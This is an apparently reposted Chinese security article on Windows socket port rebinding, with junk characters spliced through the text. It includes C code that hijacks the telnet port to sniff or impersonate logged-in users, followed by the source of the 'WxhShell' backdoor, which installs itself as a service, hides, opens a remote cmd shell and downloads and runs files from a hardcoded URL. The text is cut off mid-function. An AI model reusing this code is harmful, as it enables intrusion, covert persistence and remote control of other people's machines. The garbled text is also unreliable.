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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3'O+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &@c=$+#C W+&ZYN'E saddr.sin_family = AF_INET; tS8*l2Y`
qiiX49}{ saddr.sin_addr.s_addr = htonl(INADDR_ANY); ($'rV!} -]R7[5C: bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RS#)uC5/% 0O+s3#"?@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b~ AYd7qx:~ 这意味着什么?意味着可以进行如下的攻击: 0tm%Kd K_oBSa` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bS<lB! \f1r/e(G| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #tKc!]m 0K`3BuBs 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |[}YM%e g}@_
@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 |!i3Y=X RO=[Rr! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +,9I3Dq li8l+5d q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c~b[_J) !v<r=u 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )?joF) l.\Fr+*ej #include Cq?l> #include {f3)!Pei`J #include m'XzZmI #include Hu|NS {Ke- DWORD WINAPI ClientThread(LPVOID lpParam); R{\vOw:* int main() C;}~C:aJ { +|).dm WORD wVersionRequested; E:T<mI?d DWORD ret; {N[IjY WSADATA wsaData; 9kuL1tcY BOOL val; XL >Vwd SOCKADDR_IN saddr; r5Jy( ~ SOCKADDR_IN scaddr; @>B#2t& int err; cBBc^SR SOCKET s; /$'tO3 SOCKET sc; 1Z6<W~,1OM int caddsize; "'p:M,: HANDLE mt; nV,qC.z DWORD tid; =Bi>$Ly wVersionRequested = MAKEWORD( 2, 2 ); ]8*g% err = WSAStartup( wVersionRequested, &wsaData ); +'2Mj|d@p if ( err != 0 ) { gpVZZ:~ printf("error!WSAStartup failed!\n"); @zB {Ig return -1; *4Y1((1k } R5NDT4QYU saddr.sin_family = AF_INET; ZOK2BCoW f{FW7T}O2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y/h~oGxy ZwB<
{? saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D3$PvX[f saddr.sin_port = htons(23); 3bu VU&ap if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e3"GC_*# { Yw"o_ printf("error!socket failed!\n"); }L>}_NV\ return -1; @X?DHLM } OGh9^,v val = TRUE; q6f+tdg= //SO_REUSEADDR选项就是可以实现端口重绑定的 3haYb` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W~aVwO'( { ^](sCE7 printf("error!setsockopt failed!\n"); Zk__CgS# return -1; /T]2ZX> } d^mw&F)S //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; / @X! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5'd$TC 0=# :x()e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cKdn3 2Y4 { rE;*MqYt& ret=GetLastError(); yhJH3< printf("error!bind failed!\n"); v{Al>v}}n return -1; O
$'#8 } 9cp-Rw<tI listen(s,2); LdwWB
`L while(1) I?uU}NK { %%)"W
n#` caddsize = sizeof(scaddr); >0DQ<@ot: //接受连接请求 f5"1WtB sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G|Rsj{2' if(sc!=INVALID_SOCKET) a\
fG)Fqp { ^[,Q2MHCT( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g(B &A
P_e if(mt==NULL) P}29wr IZ { JS<S?j?*/ printf("Thread Creat Failed!\n"); ,dhJ\cQ~ break; Bha#=>4FU } '#!nK O2< } K'%2 'd CloseHandle(mt); U>w#`Sy[ } X0Zqx1 closesocket(s); 3_|<CE6 WSACleanup(); FkY}6 return 0; X]8(_[Y
} Q^prHn*@ DWORD WINAPI ClientThread(LPVOID lpParam) px8988X { a$r-
U_? SOCKET ss = (SOCKET)lpParam; r&oR|-2hRk SOCKET sc; .A<G$ db
? unsigned char buf[4096]; /2l&D~d" SOCKADDR_IN saddr; Z8E-(@`q5Q long num; EudX^L5U<d DWORD val; Yz]c'M@ DWORD ret; r*HbglB //如果是隐藏端口应用的话,可以在此处加一些判断 #%N v\g; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 p4GhT~)l: saddr.sin_family = AF_INET; Z^E>)!t saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fqrQ1{%UH saddr.sin_port = htons(23); ?g^42IYG if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =!)Ye:\Q { O2;FaASF printf("error!socket failed!\n"); _; !7:'J return -1; 7'Z-VO } YbtsJ
<w val = 100; *;t\!XDgp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0`c|ZzY { VK*Dm:G0 ret = GetLastError(); waI?X2 return -1; 86Hg?!<i. } .a2b&}/.d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (
m/ujz { ?lq ret = GetLastError(); lC/1,Z/M return -1; 3}aKok"k } ?+av9;Kg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ze2%#< { *N>n5B2 printf("error!socket connect failed!\n"); n2}(Pt. closesocket(sc); >*s_)IH2 closesocket(ss); m%m<-.'- return -1; 0Dtew N{Z } EyR~VKbJ' while(1) '&hz*yk { Ak3cE_*Y/ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $inlI_ //如果是嗅探内容的话,可以再此处进行内容分析和记录 fwQVx Je //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YBh|\ num = recv(ss,buf,4096,0); )U12Rshl if(num>0) >[}lC7 z, send(sc,buf,num,0); R !g'zS' else if(num==0) `#HtVI break; )X
|[jP num = recv(sc,buf,4096,0); F<.oTP-B if(num>0) /2^"c+/'p send(ss,buf,num,0); ]%M&pc3U else if(num==0) =LXjq~p break; YP
E1s } "5<:Dj/W closesocket(ss); (
jAC Lo closesocket(sc); |w5m2Z return 0 ; S[ch/ } n*A?>NV 37apOK4+ "I)/|x\G* ========================================================== V>Dqw! +YZ*>ki 下边附上一个代码,,WXhSHELL F m?j-' yY[9\! ========================================================== q QcQnd2K mR["xDHD #include "stdafx.h" )<Fq}Q86 4)"S/u #include <stdio.h> dG&^M".( #include <string.h> 'tTUro1~ #include <windows.h> ~c,CngeL0 #include <winsock2.h> T:T`M:C. #include <winsvc.h> [ Y+Ta, #include <urlmon.h> Su/8P[q_ (1EtC{
m #pragma comment (lib, "Ws2_32.lib") 6VUs:iO1j5 #pragma comment (lib, "urlmon.lib") KH$|wv IG+g7kDCY #define MAX_USER 100 // 最大客户端连接数 JBhM*-t(M1 #define BUF_SOCK 200 // sock buffer k5M5bH', #define KEY_BUFF 255 // 输入 buffer vtq$@#?~ b xU/7}='T #define REBOOT 0 // 重启 |kY}G3/ #define SHUTDOWN 1 // 关机 clG@]<a`_ 7|5X> yt #define DEF_PORT 5000 // 监听端口 rjffpU nw4I<Q #define REG_LEN 16 // 注册表键长度 CvHE7H|-{ #define SVC_LEN 80 // NT服务名长度 xKR\w!+Z' *b'4>U // 从dll定义API C@`rg ILc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <Y]e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "uli~ {IU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xi51,y+(5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y'aK92pF: cX!C/`ew> // wxhshell配置信息 WNY:HH struct WSCFG { +GJPj(S int ws_port; // 监听端口 "1YwV~M5 char ws_passstr[REG_LEN]; // 口令 >?Duz+W) int ws_autoins; // 安装标记, 1=yes 0=no 1:JwqbZKJ char ws_regname[REG_LEN]; // 注册表键名 [#=IKsO'R6 char ws_svcname[REG_LEN]; // 服务名 =t^jlb char ws_svcdisp[SVC_LEN]; // 服务显示名 O1D|T"@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 {E; bT|3z char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cJMi`PQ; int ws_downexe; // 下载执行标记, 1=yes 0=no }*
\*<d
3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ,ZghV1z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [
*Dj7zt: y8_$YA/g }; 3eg6 CdT ^T:L6: // default Wxhshell configuration E!'6vDVC: struct WSCFG wscfg={DEF_PORT, AsD$M*It "xuhuanlingzhe", Ur]/kij 1, o%bf7)~s "Wxhshell", |1GOm=GNK "Wxhshell", lEgjv, "WxhShell Service", h@E7wp1'~ "Wrsky Windows CmdShell Service", c/Fgx/hr "Please Input Your Password: ", -woFKAy` 1, (3Q$)0t " http://www.wrsky.com/wxhshell.exe", ua"2nVxK_K "Wxhshell.exe" s+~GQcj<T }; )=#e*1!b LSo*JO6 // 消息定义模块 tLi91)oG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^,0Lr$+ char *msg_ws_prompt="\n\r? for help\n\r#>"; lb$_$+@Vr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; eTFep^[ char *msg_ws_ext="\n\rExit."; &|j0GP& char *msg_ws_end="\n\rQuit."; CT5s`v!s char *msg_ws_boot="\n\rReboot..."; wVqp')e char *msg_ws_poff="\n\rShutdown..."; 2}=@n*8*d char *msg_ws_down="\n\rSave to "; C1'y6{,@ T/A2Y+@N; char *msg_ws_err="\n\rErr!"; 2"HTD|yy char *msg_ws_ok="\n\rOK!"; *Y?oAVkz 4(*PM&'R char ExeFile[MAX_PATH]; &<x.D]FA] int nUser = 0;
99.F'Gz HANDLE handles[MAX_USER]; D2g/P8.<A int OsIsNt; d<+hQ\BF, w
>2sr^!y SERVICE_STATUS serviceStatus; 8\"Gs z SERVICE_STATUS_HANDLE hServiceStatusHandle; Y)DAR83 a2Nxpxho // 函数声明 WW.@S5 int Install(void); L2+cVR int Uninstall(void); y>.t[*zT int DownloadFile(char *sURL, SOCKET wsh); ;DSH$'1i int Boot(int flag); aZ$5" void HideProc(void); Y0.'u{J* int GetOsVer(void); S2DG=hi`GK int Wxhshell(SOCKET wsl); }tw+8YWkz void TalkWithClient(void *cs); V3#ms0 int CmdShell(SOCKET sock); ;p2b^q' int StartFromService(void); WQ 2{`'z int StartWxhshell(LPSTR lpCmdLine); %YK xdp ywl=@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #bBh. ^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); S.4+tf7+ q\}+]|nGs // 数据结构和表定义 ,cL;,YN SERVICE_TABLE_ENTRY DispatchTable[] = 5@%.wb4 { h}!9?:E {wscfg.ws_svcname, NTServiceMain}, x&*f5Y9hCi {NULL, NULL} ;}iB9 Tl }; ff5 gE' z~X/.> // 自我安装 F@k}p-e~ int Install(void) 9Q^cE\j { 5L:-Xr{ char svExeFile[MAX_PATH]; jQzl!f1c3 HKEY key; Db<#gH strcpy(svExeFile,ExeFile); f+Acs*.GQ
WB?HY?[r // 如果是win9x系统,修改注册表设为自启动 :IU7dpwDl if(!OsIsNt) { #gqh0 27 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (5 @H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;xe.0j0h RegCloseKey(key); CxeW5qc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5e$1KN` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vjS=ZinN" RegCloseKey(key); Lj(cCtb) return 0; s:7/\h } &}[P{53sr } C6[W/,eS } t+}wTis else { &:g:7l]g #kASy 2t // 如果是NT以上系统,安装为系统服务 V0v,s^\H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @U18Dj[ if (schSCManager!=0) i4,p\rE0 { chKK9SC+| SC_HANDLE schService = CreateService / n_s"[I4 ( -z~!%4 a schSCManager, l>}f{az-T wscfg.ws_svcname, <BED&j!qvP wscfg.ws_svcdisp, t$z[ja= SERVICE_ALL_ACCESS, vo`& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '"fJA/O SERVICE_AUTO_START, oD V6[e SERVICE_ERROR_NORMAL, ;o3gR4u_L svExeFile, _yv#v_Z NULL, .Zczya NULL, RC/ 3\' NULL, 3}<U'%sd NULL, zk
FX[-'O NULL N=BG0t$ ); (_zlCHB if (schService!=0) *$ g!/, {
k[D_L` CloseServiceHandle(schService); GeTk/tU CloseServiceHandle(schSCManager); nFNRiDx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #dj?^n g strcat(svExeFile,wscfg.ws_svcname); uy's eJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v^b4WS+.: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (tX3?[ii RegCloseKey(key); +ODua@ULFB return 0; OALNZKP } x_nwD" } ^~;ia7V&2 CloseServiceHandle(schSCManager); +Cw_qS"= } ~2"hh$ } h<U?WtWT-p +T$Olz return 1; Q!;syJBb. } 1j$\ 48Z O`9c!_lis // 自我卸载 gHLI>ew*QR int Uninstall(void) JP5e=Z< { E(P
6s;LZ HKEY key; FKTF?4+\U Z5>~l if(!OsIsNt) { D#b*M)X" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8x U*j RegDeleteValue(key,wscfg.ws_regname); -!Myw&*\V RegCloseKey(key); A/>Q5) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (QiA5!wg RegDeleteValue(key,wscfg.ws_regname); +gX,r$bX RegCloseKey(key); d
fj23+ return 0; n" Ie> } +:.Jl:fx4 } =EP`,zqn$9 } {h@\C|nF else { P9bM+@5e X ha9x, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I "AjYv4R if (schSCManager!=0) ^m w]u"5\ { x,,y}_YX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Io]FDPN if (schService!=0) {R!yw`#^B { ZwS:Te9- if(DeleteService(schService)!=0) { ma~#E$i& CloseServiceHandle(schService); \b"rf697, CloseServiceHandle(schSCManager); E$)| Kv^ return 0; WR)=VE } ^)Hf% CloseServiceHandle(schService); Plp.\N%f3 } R@\}iyM CloseServiceHandle(schSCManager); l(?B0 } etr-\Cp } b#
N"}-\^ jmID@37t return 1; Sf*)Z3f } ]nhh|q9r{ h=7q;-@7 // 从指定url下载文件 b_31 \ int DownloadFile(char *sURL, SOCKET wsh) vFVUdxPOw { zFq%[ X HRESULT hr; !4vb{AH char seps[]= "/"; VGV-t char *token; N'v3
|g char *file; )hZ7`"f,ZN char myURL[MAX_PATH]; t )zd'[ char myFILE[MAX_PATH]; DXiA4ihr= %bDxvaftT strcpy(myURL,sURL); MxsLrWxm token=strtok(myURL,seps); (F4e}hr& while(token!=NULL) xnY?<?J"! { *,\"}x* file=token; @V%\Gspv token=strtok(NULL,seps); qT$k%( } :\OSHs<M q-JTGCFl GetCurrentDirectory(MAX_PATH,myFILE); #d-({blo< strcat(myFILE, "\\"); 1>J.kQR^ strcat(myFILE, file); ~rb0G*R> send(wsh,myFILE,strlen(myFILE),0); P8d send(wsh,"...",3,0); +~^S'6yB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n[3z_QI if(hr==S_OK) Qg*\aa94 return 0; 0\dmp'j] else .EKlw## return 1; m-AF&( ;K x0
)V
o]r } "I.6/9 h6h6B.\Ld // 系统电源模块 Ei4^__g\' int Boot(int flag) <7^|@L
6 { %Rk|B`ST HANDLE hToken; $Ll9ak} TOKEN_PRIVILEGES tkp; GcVQz[E ]8p{A#1 if(OsIsNt) { b>07t!; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f7=MgFi LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o<Zlm)"%1 tkp.PrivilegeCount = 1; |
&X<- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3V k8' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U]3!"+Y1P if(flag==REBOOT) { hd)Jq'MCS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L/8oqO| return 0; *()['c#CC } k~>(XG[x& else { C%o|}i v" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mU/o%|h return 0; -zg*p&F } /Y0~BQC7! } >. |({;n9 else { ?:;;0kSk if(flag==REBOOT) { b RR N if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fw<"]*iu return 0; -b-a21,m> } .zO^"mXjS else { n7!T{+ge if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WPNB!"E98 return 0; M)bQvjj } cgb>Naa< } h.\I
tK{) Tv ``\< return 1; hi8q?4jE } c!Hz'W Bz]tKJ // win9x进程隐藏模块 )4g_S?l= void HideProc(void) ^j<v~GTx+ { WyO*8b_
D (!}N&!t HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G+
/Q!ic if ( hKernel != NULL ) ,>j3zjf^ { 7'\.QJ!< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'Ea3(OsuXn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dSGdK
$ XA FreeLibrary(hKernel); ]\39# } J
n.7W5v ^z
*0 return; !<w6j-S } S@qPf0dL< K"!rj.Da // 获取操作系统版本 \Id8X`,eD int GetOsVer(void) b<a3Ue% { mA(kq OSVERSIONINFO winfo; 8SjCU+V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Id=20og GetVersionEx(&winfo); iJTG+gx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4E''pW]8 return 1; eb_.@.a else .}dLqw return 0; , cxqr3
o } (qAF2& db )2> // 客户端句柄模块 =D(a~8&, int Wxhshell(SOCKET wsl) 6qZQ20h { g#I`P& SOCKET wsh; ;j0.#P:a struct sockaddr_in client; Q6
*n'6 DWORD myID; {\$S585 >k
@t.PeoV while(nUser<MAX_USER) ?'V78N sA { RRO@r}A!y int nSize=sizeof(client); 01n!T2;yW} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lU1SN/'zx if(wsh==INVALID_SOCKET) return 1; e@hPb$7 :DH@zR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `gl?y;xC if(handles[nUser]==0) yCjc5d|tT closesocket(wsh); e#}t
am else 2f(`HSC' nUser++; f}c;s } ?O25k!7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i@/% E~ W *JOK8[Qn return 0; 1RkN^FZOxq } Trirb'qO m-{DhJV // 关闭 socket NZGO8u void CloseIt(SOCKET wsh) gc4o
|x { s.z)l$ closesocket(wsh); B;bP~e>W nUser--; 'M%iS4b{IM ExitThread(0); }cz58% } .\bJ,of9 dOD(< // 客户端请求句柄 lr&2,p< void TalkWithClient(void *cs) AG >D,6Y { tN{0C/B9 l&H-<Z.8m SOCKET wsh=(SOCKET)cs; {A}T^q!m] char pwd[SVC_LEN]; <(E)M@2 char cmd[KEY_BUFF]; uz8eS'8 char chr[1]; C?. ;3 h int i,j; =o@}~G&HA rbf5~sw&8+ while (nUser < MAX_USER) { mpYBMSLM L'y0$ if(wscfg.ws_passstr) { 6F^/k,(k4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l"8g9z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 88u[s@ //ZeroMemory(pwd,KEY_BUFF); thPAD+u.3 i=0; %Vo'\| while(i<SVC_LEN) { $Y/z+ea 2K~v`c*4 // 设置超时 {:cGt2*~^ fd_set FdRead; $(&uaDYv struct timeval TimeOut; @#wG)TA FD_ZERO(&FdRead); HtN:v FD_SET(wsh,&FdRead); @Hj]yb5 TimeOut.tv_sec=8; |(~IfSE2 TimeOut.tv_usec=0; r%: :q^b3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xp;'Wa"@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6~ET@"0uK ,5 ,r. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2-S}#S}2C pwd =chr[0]; #8d#Jw if(chr[0]==0xd || chr[0]==0xa) { S> Fb'rJ3 pwd=0; e,XT(KY break; YWPkVvI } KMT$/I{p, i++; s\.r3U&6 } 2zo>`;l c%<81Y= // 如果是非法用户,关闭 socket S*r }oX0 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kU:Q&[/jzH } jhT/}"v DI{Qs[ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #~Kno@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ruhC:rg:/ C4E* q3[Y while(1) { W&A^.% 2l +fvVora ZeroMemory(cmd,KEY_BUFF); S?DMeZ{: 89[/UxM) // 自动支持客户端 telnet标准 8f,",NCgc j=0; yJx,4be while(j<KEY_BUFF) { %5ov!nm7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z){fie4WM cmd[j]=chr[0]; iLdUus! if(chr[0]==0xa || chr[0]==0xd) { T&dc)t`o cmd[j]=0; *`s*l+0b break; Mf5kknYuL9 } RCkmxO;b& j++; __z/X"H } Y}vV.q `34+~;;Jh // 下载文件 af'ncZ@U if(strstr(cmd,"http://")) { ]_>38f7h send(wsh,msg_ws_down,strlen(msg_ws_down),0); &w_8E+YZ if(DownloadFile(cmd,wsh)) "97sH_
, send(wsh,msg_ws_err,strlen(msg_ws_err),0); f`}u9!jVR else jp-(n z\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Sm 8t$ } RaiYq#X/ else { {s@&3i?ZiC LWo )x switch(cmd[0]) { JpQV7}$ lfoPFJ
Z // 帮助 8yr-X!eF case '?': { tjZS:@3
Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %*L8W*V break; ]<},[s } 7CT446 // 安装 .j!:Hp(z} case 'i': { 2V @ pt if(Install()) @C'qbO{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); nCldH|>5w else CJ;D&qo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (!ud"A|ab4 break; &WbHM)_n } UuJ gB) // 卸载 Dhft[mvo case 'r': { 2J(,Xf if(Uninstall()) m7,"M~\pX send(wsh,msg_ws_err,strlen(msg_ws_err),0); m,J9:S<5; else FOa2VP% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s4 Uk5< break; Si;eBPFH } kKQD$g.z6 // 显示 wxhshell 所在路径 %e:
hVU case 'p': { l)Cg?9 char svExeFile[MAX_PATH]; mqQ//$Y
strcpy(svExeFile,"\n\r"); <XpG5vV strcat(svExeFile,ExeFile); AQ-R^kT send(wsh,svExeFile,strlen(svExeFile),0); O sIvW'$\ break; &53LJlL
Co } G*VcAJ[ // 重启 Yu%ZwTvw case 'b': { A*{V%7hs& send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xqVIw!J?/} if(Boot(REBOOT)) U,9=&"e b send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jpe\ else { ECOzquvM closesocket(wsh); 4!+IsT ExitThread(0); jW|M)[KJN } 9&4z4@on break; orF8% } |>p?Cm // 关机 62OZj%CXN case 'd': { &ZPyZj send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |A
u+^#:; if(Boot(SHUTDOWN)) j|WN!!7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2K(zYv54 else { -[lOf closesocket(wsh); DTV"~>@ ExitThread(0); %xwdH4_ } fH
5/ break; s4\_%je<v } \ N]2V(v // 获取shell wtro'r3 case 's': { 4q^'MZm1 CmdShell(wsh); DmpD`^?-L closesocket(wsh); yFqB2(Dv ExitThread(0); GA)t!Xg^ break; p?sC</R } "M:0lUy // 退出 jTz~
V&^ case 'x': { %wux#"8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &p^8zE s CloseIt(wsh); 20RI S j break; RC]-9gd3Q }
Hn,;G`{ // 离开 ^&8xfI6? case 'q': { z)y{(gR send(wsh,msg_ws_end,strlen(msg_ws_end),0); (ft$ R? closesocket(wsh); [,ns/*f3R WSACleanup(); uyWt{>$ exit(1); G8p6p6* break; f>_' ]eM% } fnO>v/&B } 1lQO`CmR6M } \ssqIRk w97%5[-T // 提示信息 2~*.X^dR if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S_56! } _0e;&2') } w+3-j v|u[BmA)*k return; zH+a*R } 3 At%TA: %FO#j 6 // shell模块句柄 Tf?|*P int CmdShell(SOCKET sock) LYyOcb[x { &,~Oi(SX5 STARTUPINFO si; aRF}FE,u ZeroMemory(&si,sizeof(si)); G$$y\e$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4brKAqg. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pbePxOG PROCESS_INFORMATION ProcessInfo; 4XXuj char cmdline[]="cmd"; loFApBD=$^ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sDnXgCcS! return 0; \$[S=&E } N1i%b,:3 etWCMR // 自身启动模式 DF!*S{) int StartFromService(void) 0_faJjTbP; { <mdHca typedef struct :NPnwX8w { Rz9IjL.Z DWORD ExitStatus; RW04>oxVn DWORD PebBaseAddress; wm/=]*jpK DWORD AffinityMask;
h"DxgG DWORD BasePriority; 1x~dsM;q ULONG UniqueProcessId; &;Jg2f%. ULONG InheritedFromUniqueProcessId; <^8&2wAkJ } PROCESS_BASIC_INFORMATION; GY,HEe]2r &!5S'J% PROCNTQSIP NtQueryInformationProcess; Sr?2~R0& HTU?hbG( static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ev;R; 0< static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (^).$g5Hg e$ {Cf HANDLE hProcess; WvJidz?5 PROCESS_BASIC_INFORMATION pbi; i j+)U` TY6Q;BTU HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?m>!P@
